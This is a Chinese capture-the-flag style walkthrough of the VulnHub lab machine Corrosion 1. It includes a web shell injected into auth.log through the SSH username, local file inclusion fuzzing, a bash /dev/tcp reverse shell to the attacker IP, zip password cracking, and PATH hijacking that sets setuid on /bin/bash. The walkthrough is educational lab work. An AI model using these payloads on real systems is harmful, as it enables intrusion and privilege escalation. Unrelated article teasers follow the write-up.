渗透环境

攻击机:   IP: 192.168.226.129(Kali)

靶机:     IP:192.168.226.128

靶机下载地址:https://www.vulnhub.com/entry/corrosion-1,730/

进行渗透

一、 获取端口信息

nmap或者arp-scan都能扫除IP,这里就不赘述了。先看看开放了哪些端口。

开放了22和80端口,访问80端口,可以正常访问。

二、 寻找WEB漏洞

对目录进行扫描,经过测试,使用dirsearch的默认字典扫描结果会有缺失,并且对于这个环境来说gobuster的扫描速度更快,因此我们使用gobuster使用指定字典/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt进行扫描

gobuster dir -u http://192.168.226.128/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

-u :指定爆破网站

-w :指定字典

扫描结果如下

访问host/tasks

打开tasks_todo.txt,获得以下提示

访问host/blog-post,没有发现有用信息

host/blog-post目录再次进行扫描

gobuster dir -u http://192.168.226.128/blog-post -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

扫描结果如下

访问hosst/blog-post/archives/,发现randylogs.php,直接点击打开是空白的。

看了其他师傅们的文章,这里是有一个文件包含漏洞,但是我们不知道传什么参,因此我们fuzz以下,参数值就设置为/etc/passwd,得到fuzz结果为file。

wfuzz -w /usr/share/wordlists/dirb/common.txt --hl 0 'http://192.168.226.128/blog-post/archives/randylogs.php?FUZZ=/etc/passwd'

-w :指定字典

-hl 0: 输出返回页面长度大于0的结果

除了使用wfuzz还可以使用fuff

ffuf -c -w /usr/share/wordlists/dirb/common.txt -u 'http://192.168.226.128/blog-post/archives/randylogs.php?FUZZ=/etc/passwd' -fs 0

读取/etc/passwd内容,成功验证存在文件包含漏洞

三、 漏洞利用

根据前面tasks_todo.txt的提示,我们在/var/log/(日志文件一般都存在这儿)下发现了auth.log

http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log

22端口是SSH服务的端口号,我们将一句话木马注入auth.log中。将一句话木马作为用户名连接靶机。这里我们使用system()而不使用eval(),这样可以通过终端返回的一些信息判断是否成功注入一句话木马。

ssh '<?php system($_GET['soap']);?>'@192.168.226.128

接下来我们对soap传参ifconfig或者其他命令,若成功返回信息,则可验证注入成功

http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log&soap=ifconfig

验证注入成功,由于这是个log文件,不是php文件,因此我们无法使用蚁剑等工具连接一句话木马,不过可以用相同思路反弹shell。

启动监听,端口为4444

nc -nlvp 4444

连接监听端口

http://192.168.226.128/blog-post/archives/randylogs.php?file=/var/log/auth.log&soap=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.226.129%2F4444%200%3E%261%27

soap的参数值是

bash -c 'bash -i >& /dev/tcp/192.168.226.129/4444 0>&1' 的URL编码

也可以用

echo "bash -i >& /dev/tcp/192.168.226.129/4444 0>&1" | bash 的URL编码

成功反弹shell

四、 提权

常规思路,先看一下有SUID权限的文件

find / -perm -u=s -type f 2>/dev/null

没有发现可利用的文件。但是在/var下发现backups

user_backup.zip传到kali看看能不能获得有用信息。

靶机启动python搭建简易服务器

python3 -m http.server 8000

kali下载文件

wget http://192.168.226.128:8000/user_backup.zip

在kali中解压,发现需要密码,使用fcrackzip进行爆破,使用/usr/share/wordlists/rockyou.txt字典(kali自带,使用前先解压)

fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u user_backup.zip

得到密码!randybaby

解压文件

unzip user_backup.zip

然后输入密码,即可解压。解压后发现文件my_password.txt,猜测是用户randy的ssh连接密码,登陆成功。

接下来我们就可以查看当前用户能以管理员身份运行的命令

sudo -l

发现easysysinfo可以以管理员身份运行,我们上面解压后也得到easysysinfo.c,查看一下,发现easysysinfo会调用cat,而且没有使用绝对路径,那么我们就可以重写一个cat,并将其加入系统的环境变量,通过重写的cat实现提权

echo 'chmod +s /bin/bash' > cat     //在当前文件夹下写一个cat文件
chmod 777 cat //更改权限
export PATH=/home/randy/tools:$PATH //将当前路径加入环境变量
./easysysinfo //执行easysysinfo,会调用我们重写的cat
/bin/bash -p //root身份运行bash

chmod +s /bin/bash 是设置bash的setuid位,让用户在运行bash的过程中暂时获得拥有者的权限,运行easysysinfo时调用的是我们写的cat,就会让bash的setuid被设置,随后就可以以特权身份运行bash

发现flag在/root下,由于我们已经重写cat,因此我们用more来读取

渗透结束

【渗透测试】Vulnhub Corrosion 1的更多相关文章

  1. [经验分享] OSCP 渗透测试认证

    http://f4l13n5n0w.github.io/blog/2015/05/05/jing-yan-fen-xiang-oscp-shen-tou-ce-shi-ren-zheng/ “120天 ...

  2. Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装

    Kali Linux Web渗透测试手册(第二版) - 1.3 - 靶机的安装  一.配置KALI Linux和渗透测试环境 在这一章,我们将覆盖以下内容: 在Windows和Linux上安装Virt ...

  3. Kali Linux Web 渗透测试秘籍 中文版

    第一章 配置 Kali Linux 简介 在第一章中,我们会涉及如何准备我们的 Kali 以便能够遵循这本书中的秘籍,并使用虚拟机建立带有存在漏洞的 Web 应用的实验室. 1.1 升级和更新 Kal ...

  4. 渗透测试工具BurpSuite做网站的安全测试(基础版)

    渗透测试工具BurpSuite做网站的安全测试(基础版) 版权声明:本文为博主原创文章,未经博主允许不得转载. 学习网址: https://t0data.gitbooks.io/burpsuite/c ...

  5. 渗透测试-信息收集-c段收集

    平时做渗透测试我比较喜欢用lijiejie 写的 subDomainsBrute来爆破子域名 那么爆破完成后就想收集一下网站的c段信息 下面以平安为例 爆破得到子域名为 i.pingan.com.cn ...

  6. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  7. ms08-067漏洞--初识渗透测试--想必很多初学者都会遇到我文中提及的各种问题

    最近读了一本书--<<渗透测试实践指南>>,测试了书中的一些例子后,开始拿ms08-067这个经典的严重漏洞练手,实践当中遇到诸多问题,好在一一解决了,获益匪浅. 在谷歌搜索的 ...

  8. 渗透测试工具Nmap从初级到高级使用教程

    本文由阿德马翻译自国外网站,请尊重劳动成果,转载请注明出处,谢谢 Nmap是一款网络扫描和主机检测的非常有用的工具.Nmap是不局限于仅仅收集信息和枚举,同时可以用来作为一个漏洞探测器或安全扫描器.它 ...

  9. chapter1 渗透测试与metasploit

    网络对抗技术课程学习 chapter1 渗透测试与metasploit 一.读书笔记 二.渗透测试 通过模拟恶意攻击者的技术与方法进行攻击,挫败目标系统安全控制措施,取得访问控制权,并发现具备业务影响 ...

  10. Kali Linux渗透测试实战 1.2 环境安装及初始化

    1.2 环境安装及初始化 目录(?)[-] 环境安装及初始化 下载映像 安装虚拟机 安装Kali Linux 安装中文输入法 安装VirtualBox增强工具 配置共享目录和剪贴板 运行 Metasp ...

随机推荐

  1. Java线程命名问题解决

    前言 网上冲浪时刷到线程池的文章,想想看自己好像还没在实际场景中设置过线程名称,小小研究一下. 研究过程 默认命名 创建的线程都会有自己的名字,如果不设置,程序会给线程默认的名字,如Thread-0 ...

  2. 腾讯技术岗位笔试&面试题(五)

    说在前面 本篇文章是腾讯技术面试题目汇总第五篇. 后续将持续推出互联网大厂,如阿里,腾讯,百度,美团,头条等技术面试题目,以及答案和分析. 欢迎大家点赞关注转发. 1.define.const.typ ...

  3. The Financial-Grade Digital Infrastructure

    ​ ​ 01 Product Introduction   The Financial-Grade Digital Infrastructure is a digitally-enabled foun ...

  4. docker-entrypoint.sh 文件的用处

    参考出处很多著名库的 Dockerfile 文件中,通常都是 ENTRYPOINT 字段会是这样: ENTRYPOINT ["docker-entrypoint.sh"]这里我们参 ...

  5. (default-compile) on project app: Fatal error compiling: 无效的标记: --release -> [Help 1]

    <plugins> <plugin> <artifactId>maven-compiler-plugin</artifactId> <versio ...

  6. 快速生成视频互动直播包含会议直播APP(Android)

    阿里云服务器推荐购买99元 首先此应用基于腾讯云实时音视频TRTC.注册腾讯云https://console.cloud.tencent.com/trtc 并完成实名认证开始. 安卓直播高级版 包括直 ...

  7. Qt编写的项目作品28-视频监控显示安卓版

    一.功能特点 1.1 基础功能 支持各种音频视频文件格式,比如mp3.wav.mp4.asf.rm.rmvb.mkv等. 支持各种视频流格式,比如rtp.rtsp.rtmp.http等. 本地音视频文 ...

  8. 已有docker镜像构建过程分析

    转载请注明出处: 1.使用docker history进行分析 docker history 命令用于查看指定镜像的历史层信息,它显示了镜像创建过程中的每一层,包括创建时间.创建者.大小和注释等信息. ...

  9. 基于开源IM即时通讯框架MobileIMSDK:RainbowChat-iOS端v6.0版已发布

    关于MobileIMSDK MobileIMSDK 是一套专门为移动端开发的开源IM即时通讯框架,超轻量级.高度提炼,一套API优雅支持UDP .TCP .WebSocket 三种协议,支持iOS.A ...

  10. 利用SDCC开源项目搭建C51编译平台

    下载sdcc 安装sdcc 安装sublime 新建编译系统输入以下内容 { "shell_cmd": "sdcc \"${file}\" " ...